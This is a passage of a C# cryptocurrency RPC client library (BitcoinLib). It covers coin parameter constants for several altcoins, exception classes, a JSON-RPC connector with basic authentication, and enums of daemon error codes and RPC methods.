DifficultyIncreasesEveryXInBlocks = 34560; 11 | public readonly uint OneDashInDuffs = 100000000; 12 | public readonly decimal OneDuffInDash = 0.00000001M; 13 | public readonly decimal OneMicrodashInDash = 0.000001M; 14 | public readonly decimal OneMillidashInDash = 0.001M; 15 | public readonly string Symbol = "DASH"; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dash/IDashConstants.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.CoinParameters.Dash 2 | { 3 | public interface IDashConstants 4 | { 5 | DashConstants.Constants Constants { get; } 6 | } 7 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dogecoin/DogecoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Base; 5 | 6 | namespace BitcoinLib.CoinParameters.Dogecoin 7 | { 8 | public static class DogecoinConstants 9 | { 10 | public sealed class Constants : CoinConstants 11 | { 12 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4; 13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016; 14 | public readonly uint OneDogecoinInKoinus = 100000000; 15 | public readonly decimal OneKoinuInXDG = 0.00000001M; 16 | public readonly decimal OneMicrocoinInXDG = 0.000001M; 17 | public readonly decimal OneMillicoinInXDG = 0.001M; 18 | public readonly string Symbol = "Ð"; 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Dogecoin/IDogecoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.CoinParameters.Dogecoin 5 | { 6 | public interface IDogecoinConstants 7 | { 8 | DogecoinConstants.Constants Constants { get; } 9 | } 10 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Litecoin/ILitecoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.CoinParameters.Litecoin 5 | { 6 | public interface ILitecoinConstants 7 | { 8 | LitecoinConstants.Constants Constants { get; } 9 | } 10 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Litecoin/LitecoinConstants.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Base; 5 | 6 | namespace BitcoinLib.CoinParameters.Litecoin 7 | { 8 | public static class LitecoinConstants 9 | { 10 | public sealed class Constants : CoinConstants 11 | { 12 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4; 13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016; 14 | public readonly uint OneLitecoinInLitetoshis = 100000000; 15 | public readonly decimal OneLitetoshiInLTC = 0.00000001M; 16 | public readonly decimal OneMicrocoinInLTC = 0.000001M; 17 | public readonly decimal OneMillicoinInLTC = 0.001M; 18 | public readonly string Symbol = "Ł"; 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Mogwaicoin/IMogwaicoinConstants.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.CoinParameters.Mogwaicoin 2 | { 3 | public interface IMogwaicoinConstants 4 | { 5 | MogwaicoinConstants.Constants Constants { get; } 6 | } 7 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Mogwaicoin/MogwaicoinConstants.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Base; 2 | 3 | namespace BitcoinLib.CoinParameters.Mogwaicoin 4 | { 5 | public static class MogwaicoinConstants 6 | { 7 | public sealed class Constants : CoinConstants 8 | { 9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7; 10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 34560; 11 | public readonly uint OneDashInDuffs = 100000000; 12 | public readonly decimal OneDuffInDash = 0.00000001M; 13 | public readonly decimal OneMicrodashInDash = 0.000001M; 14 | public readonly decimal OneMillidashInDash = 0.001M; 15 | public readonly string Symbol = "MOG"; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Smartcash/ISmartcashConstants.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.CoinParameters.Smartcash 2 | { 3 | public interface ISmartcashConstants 4 | { 5 | SmartcashConstants.Constants Constants { get; } 6 | } 7 | } -------------------------------------------------------------------------------- /src/BitcoinLib/CoinParameters/Smartcash/SmartcashConstants.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Base; 2 | 3 | namespace BitcoinLib.CoinParameters.Smartcash 4 | { 5 | public static class SmartcashConstants 6 | { 7 | public sealed class Constants : CoinConstants 8 | { 9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 4; 10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 2016; 11 | public readonly uint OneSmartInSmartoshis = 100000000; 12 | public readonly decimal OneSmartoshisInSmart = 0.00000001M; 13 | public readonly decimal OneMicrosmartInSmart = 0.000001M; 14 | public readonly decimal OneMillismartInSmart = 0.001M; 15 | public readonly string Symbol = "SMART"; 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/RawTransactions/RawTransactionExcessiveFeeException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.RawTransactions 7 | { 8 | [Serializable] 9 | public class RawTransactionExcessiveFeeException : Exception 10 | { 11 | public RawTransactionExcessiveFeeException() : base("Fee in raw transaction is greater than specified amount.") 12 | { 13 | } 14 | 15 | public RawTransactionExcessiveFeeException(decimal maxSpecifiedFee) : base($"Fee in raw transaction is greater than specified amount of {maxSpecifiedFee}.") 16 | { 17 | } 18 | 19 | public RawTransactionExcessiveFeeException(decimal actualFee, decimal maxSpecifiedFee) : base($"Fee of {actualFee} in raw transaction is greater than specified amount of {maxSpecifiedFee}.") 20 | { 21 | } 22 | 23 | public RawTransactionExcessiveFeeException(string message) : base(message) 24 | { 25 | } 26 | 27 | public RawTransactionExcessiveFeeException(string message, Exception innerException) : base(message, innerException) 28 | { 29 | } 30 | } 31 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/RawTransactions/RawTransactionInvalidAmountException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.RawTransactions 7 | { 8 | [Serializable] 9 | public class RawTransactionInvalidAmountException : Exception 10 | { 11 | public RawTransactionInvalidAmountException() : base("Raw Transaction amount is invalid.") 12 | { 13 | } 14 | 15 | public RawTransactionInvalidAmountException(string message) : base(message) 16 | { 17 | } 18 | 19 | public RawTransactionInvalidAmountException(string message, Exception innerException) : base(message, innerException) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/Rpc/RpcException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.Rpc 7 | { 8 | [Serializable] 9 | public class RpcException : Exception 10 | { 11 | public RpcException() 12 | { 13 | } 14 | 15 | public RpcException(string customMessage) : base(customMessage) 16 | { 17 | } 18 | 19 | public RpcException(string customMessage, Exception exception) : base(customMessage, exception) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/Rpc/RpcInternalServerErrorException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.Runtime.Serialization; 6 | using BitcoinLib.RPC.Specifications; 7 | 8 | namespace BitcoinLib.ExceptionHandling.Rpc 9 | { 10 | [Serializable] 11 | public class RpcInternalServerErrorException : Exception 12 | { 13 | public RpcInternalServerErrorException() 14 | { 15 | } 16 | 17 | public RpcInternalServerErrorException(string customMessage) : base(customMessage) 18 | { 19 | } 20 | 21 | public RpcInternalServerErrorException(string customMessage, Exception exception) : base(customMessage, exception) 22 | { 23 | } 24 | 25 | public RpcErrorCode? RpcErrorCode { get; set; } 26 | 27 | public override void GetObjectData(SerializationInfo info, StreamingContext context) 28 | { 29 | if (info == null) 30 | { 31 | throw new ArgumentNullException("info"); 32 | } 33 | 34 | info.AddValue("RpcErrorCode", RpcErrorCode, typeof(RpcErrorCode)); 35 | base.GetObjectData(info, context); 36 | } 37 | } 38 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/Rpc/RpcRequestTimeoutException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.Rpc 7 | { 8 | [Serializable] 9 | public class RpcRequestTimeoutException : Exception 10 | { 11 | public RpcRequestTimeoutException() 12 | { 13 | } 14 | 15 | public RpcRequestTimeoutException(string customMessage) : base(customMessage) 16 | { 17 | } 18 | 19 | public RpcRequestTimeoutException(string customMessage, Exception exception) : base(customMessage, exception) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/Rpc/RpcResponseDeserializationException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.Rpc 7 | { 8 | [Serializable] 9 | public class RpcResponseDeserializationException : Exception 10 | { 11 | public RpcResponseDeserializationException() 12 | { 13 | } 14 | 15 | public RpcResponseDeserializationException(string customMessage) : base(customMessage) 16 | { 17 | } 18 | 19 | public RpcResponseDeserializationException(string customMessage, Exception exception) : base(customMessage, exception) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExceptionHandling/RpcExtenderService/GetAddressBalanceException.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExceptionHandling.RpcExtenderService 7 | { 8 | [Serializable] 9 | public class GetAddressBalanceException : Exception 10 | { 11 | public GetAddressBalanceException() 12 | { 13 | } 14 | 15 | public GetAddressBalanceException(string customMessage) : base(customMessage) 16 | { 17 | } 18 | 19 | public GetAddressBalanceException(string customMessage, Exception exception) : base(customMessage, exception) 20 | { 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExtensionMethods/CoinServiceExtensionMethods.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.Services.Coins.Base; 5 | 6 | namespace BitcoinLib.ExtensionMethods 7 | { 8 | public static class CoinServiceExtensionMethods 9 | { 10 | public static void SwitchNetworks(this ICoinService coinService) 11 | { 12 | coinService.Parameters.UseTestnet = !coinService.Parameters.UseTestnet; 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /src/BitcoinLib/ExtensionMethods/DecimalExtensionMethods.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | 6 | namespace BitcoinLib.ExtensionMethods 7 | { 8 | public static class DecimalExtensionMethods 9 | { 10 | public static ushort GetNumberOfDecimalPlaces(this decimal number) 11 | { 12 | return BitConverter.GetBytes(decimal.GetBits(number)[3])[2]; 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/Connector/IRpcConnector.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.RPC.Specifications; 5 | 6 | namespace BitcoinLib.RPC.Connector 7 | { 8 | public interface IRpcConnector 9 | { 10 | T MakeRequest(RpcMethods method, params object[] parameters); 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/Connector/RawRpcConnector.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.IO; 6 | using System.Net; 7 | using System.Text; 8 | using BitcoinLib.Services.Coins.Base; 9 | 10 | namespace BitcoinLib.RPC.Connector 11 | { 12 | // This class is disconnected from the core logic and its sole purpose is to serve as a quick and dirty means of debugging 13 | public static class RawRpcConnector 14 | { 15 | // Usage example: String networkDifficultyJsonResult = RawRpcConnector.MakeRequest("{\"method\":\"getdifficulty\",\"params\":[],\"id\":1}", "http://127.0.0.1:8332/", "MyRpcUsername", "MyRpcPassword"); 16 | public static string MakeRequest(string jsonRequest, string daemonUrl, string rpcUsername, string rpcPassword) 17 | { 18 | try 19 | { 20 | var tempCookies = new CookieContainer(); 21 | var encoding = new ASCIIEncoding(); 22 | var byteData = encoding.GetBytes(jsonRequest); 23 | var postReq = (HttpWebRequest) WebRequest.Create(daemonUrl); 24 | postReq.Credentials = new NetworkCredential(rpcUsername, rpcPassword); 25 | postReq.Method = "POST"; 26 | postReq.KeepAlive = true; 27 | postReq.CookieContainer = tempCookies; 28 | postReq.ContentType = "application/json"; 29 | postReq.ContentLength = byteData.Length; 30 | var postreqstream = postReq.GetRequestStream(); 31 | postreqstream.Write(byteData, 0, byteData.Length); 32 | postreqstream.Close(); 33 | var postresponse = (HttpWebResponse) postReq.GetResponse(); 34 | var postreqreader = new StreamReader(postresponse.GetResponseStream()); 35 | return postreqreader.ReadToEnd(); 36 | } 37 | catch (Exception exception) 38 | { 39 | return exception.ToString(); 40 | } 41 | } 42 | 43 | // Usage example: String networkDifficultyJsonResult = RawRpcConnector.MakeRequest("{\"method\":\"getdifficulty\",\"params\":[],\"id\":1}", new BitcoinService()); 44 | public static string MakeRequest(string jsonRequest, ICoinService coinService) 45 | { 46 | return MakeRequest(jsonRequest, coinService.Parameters.SelectedDaemonUrl, coinService.Parameters.RpcUsername, coinService.Parameters.RpcPassword); 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/Connector/RpcConnector.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.IO; 6 | using System.Linq; 7 | using System.Net; 8 | using System.Text; 9 | using BitcoinLib.Auxiliary; 10 | using BitcoinLib.ExceptionHandling.Rpc; 11 | using BitcoinLib.RPC.RequestResponse; 12 | using BitcoinLib.RPC.Specifications; 13 | using BitcoinLib.Services.Coins.Base; 14 | using Newtonsoft.Json; 15 | 16 | namespace BitcoinLib.RPC.Connector 17 | { 18 | public sealed class RpcConnector : IRpcConnector 19 | { 20 | private readonly ICoinService _coinService; 21 | 22 | public RpcConnector(ICoinService coinService) 23 | { 24 | _coinService = coinService; 25 | } 26 | 27 | public T MakeRequest(RpcMethods rpcMethod, params object[] parameters) 28 | { 29 | var jsonRpcRequest = new JsonRpcRequest(1, rpcMethod.ToString(), parameters); 30 | var webRequest = (HttpWebRequest) WebRequest.Create(_coinService.Parameters.SelectedDaemonUrl); 31 | SetBasicAuthHeader(webRequest, _coinService.Parameters.RpcUsername, _coinService.Parameters.RpcPassword); 32 | webRequest.Credentials = new NetworkCredential(_coinService.Parameters.RpcUsername, _coinService.Parameters.RpcPassword); 33 | webRequest.ContentType = "application/json-rpc"; 34 | webRequest.Method = "POST"; 35 | webRequest.Proxy = null; 36 | webRequest.Timeout = _coinService.Parameters.RpcRequestTimeoutInSeconds * GlobalConstants.MillisecondsInASecond; 37 | var byteArray = jsonRpcRequest.GetBytes(); 38 | webRequest.ContentLength = jsonRpcRequest.GetBytes().Length; 39 | 40 | try 41 | { 42 | using (var dataStream = webRequest.GetRequestStream()) 43 | { 44 | dataStream.Write(byteArray, 0, byteArray.Length); 45 | dataStream.Dispose(); 46 | } 47 | } 48 | catch (Exception exception) 49 | { 50 | throw new RpcException("There was a problem sending the request to the wallet", exception); 51 | } 52 | 53 | try 54 | { 55 | string json; 56 | 57 | using (var webResponse = webRequest.GetResponse()) 58 | { 59 | using (var stream = webResponse.GetResponseStream()) 60 | { 61 | using (var reader = new StreamReader(stream)) 62 | { 63 | var result = reader.ReadToEnd(); 64 | reader.Dispose(); 65 | json = result; 66 | } 67 | } 68 | } 69 | 70 | var rpcResponse = JsonConvert.DeserializeObject>(json); 71 | return rpcResponse.Result; 72 | } 73 | catch (WebException webException) 74 | { 75 | #region RPC Internal Server Error (with an Error Code) 76 | 77 | var webResponse = webException.Response as HttpWebResponse; 78 | 79 | if (webResponse != null) 80 | { 81 | switch (webResponse.StatusCode) 82 | { 83 | case HttpStatusCode.InternalServerError: 84 | { 85 | using (var stream = webResponse.GetResponseStream()) 86 | { 87 | if (stream == null) 88 | { 89 | throw new RpcException("The RPC request was either not understood by the server or there was a problem executing the request", webException); 90 | } 91 | 92 | using (var reader = new StreamReader(stream)) 93 | { 94 | var result = reader.ReadToEnd(); 95 | reader.Dispose(); 96 | 97 | try 98 | { 99 | var jsonRpcResponseObject = JsonConvert.DeserializeObject>(result); 100 | 101 | var internalServerErrorException = new RpcInternalServerErrorException(jsonRpcResponseObject.Error.Message, webException) 102 | { 103 | RpcErrorCode = jsonRpcResponseObject.Error.Code 104 | }; 105 | 106 | throw internalServerErrorException; 107 | } 108 | catch (JsonException) 109 | { 110 | throw new RpcException(result, webException); 111 | } 112 | } 113 | } 114 | } 115 | 116 | default: 117 | throw new RpcException("The RPC request was either not understood by the server or there was a problem executing the request", webException); 118 | } 119 | } 120 | 121 | #endregion 122 | 123 | #region RPC Time-Out 124 | 125 | if (webException.Message == "The operation has timed out") 126 | { 127 | throw new RpcRequestTimeoutException(webException.Message); 128 | } 129 | 130 | #endregion 131 | 132 | throw new RpcException("An unknown web exception occured while trying to read the JSON response", webException); 133 | } 134 | catch (JsonException jsonException) 135 | { 136 | throw new RpcResponseDeserializationException("There was a problem deserializing the response from the wallet", jsonException); 137 | } 138 | catch (ProtocolViolationException protocolViolationException) 139 | { 140 | throw new RpcException("Unable to connect to the server", protocolViolationException); 141 | } 142 | catch (Exception exception) 143 | { 144 | var queryParameters = jsonRpcRequest.Parameters.Cast().Aggregate(string.Empty, (current, parameter) => current + (parameter + " ")); 145 | throw new Exception($"A problem was encountered while calling MakeRpcRequest() for: {jsonRpcRequest.Method} with parameters: {queryParameters}. \nException: {exception.Message}"); 146 | } 147 | } 148 | 149 | private static void SetBasicAuthHeader(WebRequest webRequest, string username, string password) 150 | { 151 | var authInfo = username + ":" + password; 152 | authInfo = Convert.ToBase64String(Encoding.Default.GetBytes(authInfo)); 153 | webRequest.Headers["Authorization"] = "Basic " + authInfo; 154 | } 155 | } 156 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/RequestResponse/JsonRpcError.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.RPC.Specifications; 5 | using Newtonsoft.Json; 6 | 7 | namespace BitcoinLib.RPC.RequestResponse 8 | { 9 | public class JsonRpcError 10 | { 11 | [JsonProperty(PropertyName = "code")] 12 | public RpcErrorCode Code { get; set; } 13 | 14 | [JsonProperty(PropertyName = "message")] 15 | public string Message { get; set; } 16 | } 17 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/RequestResponse/JsonRpcRequest.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using System.Linq; 6 | using System.Text; 7 | using Newtonsoft.Json; 8 | 9 | namespace BitcoinLib.RPC.RequestResponse 10 | { 11 | public class JsonRpcRequest 12 | { 13 | public JsonRpcRequest(int id, string method, params object[] parameters) 14 | { 15 | Id = id; 16 | Method = method; 17 | Parameters = parameters?.ToList() ?? new List(); 18 | } 19 | 20 | [JsonProperty(PropertyName = "method", Order = 0)] 21 | public string Method { get; set; } 22 | 23 | [JsonProperty(PropertyName = "params", Order = 1)] 24 | public IList Parameters { get; set; } 25 | 26 | [JsonProperty(PropertyName = "id", Order = 2)] 27 | public int Id { get; set; } 28 | 29 | public byte[] GetBytes() 30 | { 31 | var json = JsonConvert.SerializeObject(this); 32 | return Encoding.UTF8.GetBytes(json); 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/RequestResponse/JsonRpcResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.RPC.RequestResponse 7 | { 8 | public class JsonRpcResponse 9 | { 10 | [JsonProperty(PropertyName = "result", Order = 0)] 11 | public T Result { get; set; } 12 | 13 | [JsonProperty(PropertyName = "id", Order = 1)] 14 | public int Id { get; set; } 15 | 16 | [JsonProperty(PropertyName = "error", Order = 2)] 17 | public JsonRpcError Error { get; set; } 18 | } 19 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/Specifications/RpcErrorCode.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.RPC.Specifications 5 | { 6 | // As of: https://github.com/bitcoin/bitcoin/blob/master/src/rpcprotocol.h 7 | // Note: Do not alter enum members' capitalization 8 | // Note: It's alright if the enum is not complete (for altcoins etc), the plain rpc error code number will be used instead in RpcInternalServerErrorException() 9 | public enum RpcErrorCode 10 | { 11 | //! Standard JSON-RPC 2.0 errors 12 | RPC_INVALID_REQUEST = -32600, 13 | RPC_METHOD_NOT_FOUND = -32601, 14 | RPC_INVALID_PARAMS = -32602, 15 | RPC_INTERNAL_ERROR = -32603, 16 | RPC_PARSE_ERROR = -32700, 17 | 18 | //! General application defined errors 19 | RPC_MISC_ERROR = -1, //! std::exception thrown in command handling 20 | RPC_FORBIDDEN_BY_SAFE_MODE = -2, //! Server is in safe mode, and command is not allowed in safe mode 21 | RPC_TYPE_ERROR = -3, //! Unexpected type was passed as parameter 22 | RPC_INVALID_ADDRESS_OR_KEY = -5, //! Invalid address or key 23 | RPC_OUT_OF_MEMORY = -7, //! Ran out of memory during operation 24 | RPC_INVALID_PARAMETER = -8, //! Invalid, missing or duplicate parameter 25 | RPC_DATABASE_ERROR = -20, //! Database error 26 | RPC_DESERIALIZATION_ERROR = -22, //! Error parsing or validating structure in raw format 27 | RPC_VERIFY_ERROR = -25, //! General error during transaction or block submission 28 | RPC_VERIFY_REJECTED = -26, //! Transaction or block was rejected by network rules 29 | RPC_VERIFY_ALREADY_IN_CHAIN = -27, //! Transaction already in chain 30 | RPC_IN_WARMUP = -28, //! Client still warming up 31 | 32 | //! Aliases for backward compatibility 33 | RPC_TRANSACTION_ERROR = RPC_VERIFY_ERROR, 34 | RPC_TRANSACTION_REJECTED = RPC_VERIFY_REJECTED, 35 | RPC_TRANSACTION_ALREADY_IN_CHAIN = RPC_VERIFY_ALREADY_IN_CHAIN, 36 | 37 | //! P2P client errors 38 | RPC_CLIENT_NOT_CONNECTED = -9, //! Bitcoin is not connected 39 | RPC_CLIENT_IN_INITIAL_DOWNLOAD = -10, //! Still downloading initial blocks 40 | RPC_CLIENT_NODE_ALREADY_ADDED = -23, //! Node is already added 41 | RPC_CLIENT_NODE_NOT_ADDED = -24, //! Node has not been added before 42 | 43 | //! Wallet errors 44 | RPC_WALLET_ERROR = -4, //! Unspecified problem with wallet (key not found etc.) 45 | RPC_WALLET_INSUFFICIENT_FUNDS = -6, //! Not enough funds in wallet or account 46 | RPC_WALLET_INVALID_ACCOUNT_NAME = -11, //! Invalid account name 47 | RPC_WALLET_KEYPOOL_RAN_OUT = -12, //! Keypool ran out, call keypoolrefill first 48 | RPC_WALLET_UNLOCK_NEEDED = -13, //! Enter the wallet passphrase with walletpassphrase first 49 | RPC_WALLET_PASSPHRASE_INCORRECT = -14, //! The wallet passphrase entered was incorrect 50 | RPC_WALLET_WRONG_ENC_STATE = -15, //! Command given in wrong wallet encryption state (encrypting an encrypted wallet etc.) 51 | RPC_WALLET_ENCRYPTION_FAILED = -16, //! Failed to encrypt the wallet 52 | RPC_WALLET_ALREADY_UNLOCKED = -17, //! Wallet is already unlocked 53 | } 54 | } -------------------------------------------------------------------------------- /src/BitcoinLib/RPC/Specifications/RpcMethods.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.RPC.Specifications 5 | { 6 | // Note: Do not alter the capitalization of the enum members as they are being cast as-is to the RPC server 7 | public enum RpcMethods 8 | { 9 | //== Blockchain == 10 | getbestblockhash, 11 | getblock, 12 | getblockchaininfo, 13 | getblockcount, 14 | getblockhash, 15 | getblockheader, 16 | getchaintips, 17 | getdifficulty, 18 | getmempoolinfo, 19 | getrawmempool, 20 | gettxout, 21 | gettxoutproof, 22 | gettxoutsetinfo, 23 | verifychain, 24 | verifytxoutproof, 25 | 26 | //== Control == 27 | getinfo, 28 | help, 29 | stop, 30 | 31 | //== Generating == 32 | generate, 33 | getgenerate, 34 | setgenerate, 35 | 36 | //== Mining == 37 | getblocktemplate, 38 | getmininginfo, 39 | getnetworkhashps, 40 | prioritisetransaction, 41 | submitblock, 42 | 43 | //== Network == 44 | addnode, 45 | clearbanned, 46 | disconnectnode, 47 | getaddednodeinfo, 48 | getconnectioncount, 49 | getnettotals, 50 | getnetworkinfo, 51 | getpeerinfo, 52 | listbanned, 53 | ping, 54 | setban, 55 | 56 | //== Rawtransactions == 57 | createrawtransaction, 58 | decoderawtransaction, 59 | decodescript, 60 | fundrawtransaction, 61 | getrawtransaction, 62 | sendrawtransaction, 63 | signrawtransaction, 64 | signrawtransactionwithkey, 65 | signrawtransactionwithwallet, 66 | sighashtype, 67 | 68 | //== Util == 69 | createmultisig, 70 | estimatefee, 71 | estimatepriority, 72 | estimatesmartfee, 73 | estimatesmartpriority, 74 | validateaddress, 75 | mirroraddress, 76 | verifymessage, 77 | 78 | //== Wallet == 79 | abandontransaction, 80 | addmultisigaddress, 81 | addwitnessaddress, 82 | backupwallet, 83 | dumpprivkey, 84 | dumpwallet, 85 | getaccount, 86 | getaccountaddress, 87 | getaddressesbyaccount, 88 | getaddressesbylabel, 89 | getaddressinfo, 90 | getbalance, 91 | getnewaddress, 92 | getrawchangeaddress, 93 | getreceivedbyaccount, 94 | getreceivedbyaddress, 95 | getreceivedbylabel, 96 | gettransaction, 97 | getunconfirmedbalance, 98 | getwalletinfo, 99 | importaddress, 100 | importprivkey, 101 | importpubkey, 102 | importwallet, 103 | keypoolrefill, 104 | listaccounts, 105 | listaddressgroupings, 106 | listlabels, 107 | listlockunspent, 108 | listreceivedbyaccount, 109 | listreceivedbyaddress, 110 | listreceivedbylabel, 111 | listsinceblock, 112 | listtransactions, 113 | listmirrtransactions, 114 | listunspent, 115 | lockunspent, 116 | move, 117 | sendfrom, 118 | sendmany, 119 | sendtoaddress, 120 | setaccount, 121 | setlabel, 122 | settxfee, 123 | signmessage, 124 | walletlock, 125 | walletpassphrase, 126 | walletpassphrasechange, 127 | //2018-01-20: added Dash privatesend mixing support 128 | privatesend, 129 | //2018-03-02: added getaddressbalance (needs addressindex = 1 in dash.conf) 130 | getaddressbalance, 131 | //2018-07-23: Masternode support, usually list command is used 132 | masternode 133 | } 134 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/AddNode/NodeAction.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Requests.AddNode 5 | { 6 | // Note: Do not alter the capitalization of the enum members as they are being cast as-is to the RPC server 7 | public enum NodeAction 8 | { 9 | add, 10 | remove, 11 | onetry 12 | } 13 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/CreateRawTransaction/CreateRawTransactionInput.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using Newtonsoft.Json; 5 | 6 | namespace BitcoinLib.Requests.CreateRawTransaction 7 | { 8 | public class CreateRawTransactionInput 9 | { 10 | [JsonProperty("txid")] 11 | public string TxId { get; set; } 12 | 13 | [JsonProperty("vout")] 14 | public int Vout { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Requests/CreateRawTransaction/CreateRawTransactionOutput.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Requests.CreateRawTransaction 5 | { 6 | public class CreateRawTransactionOutput 7 | { 8 | public string Address { get; set; } 9 | public 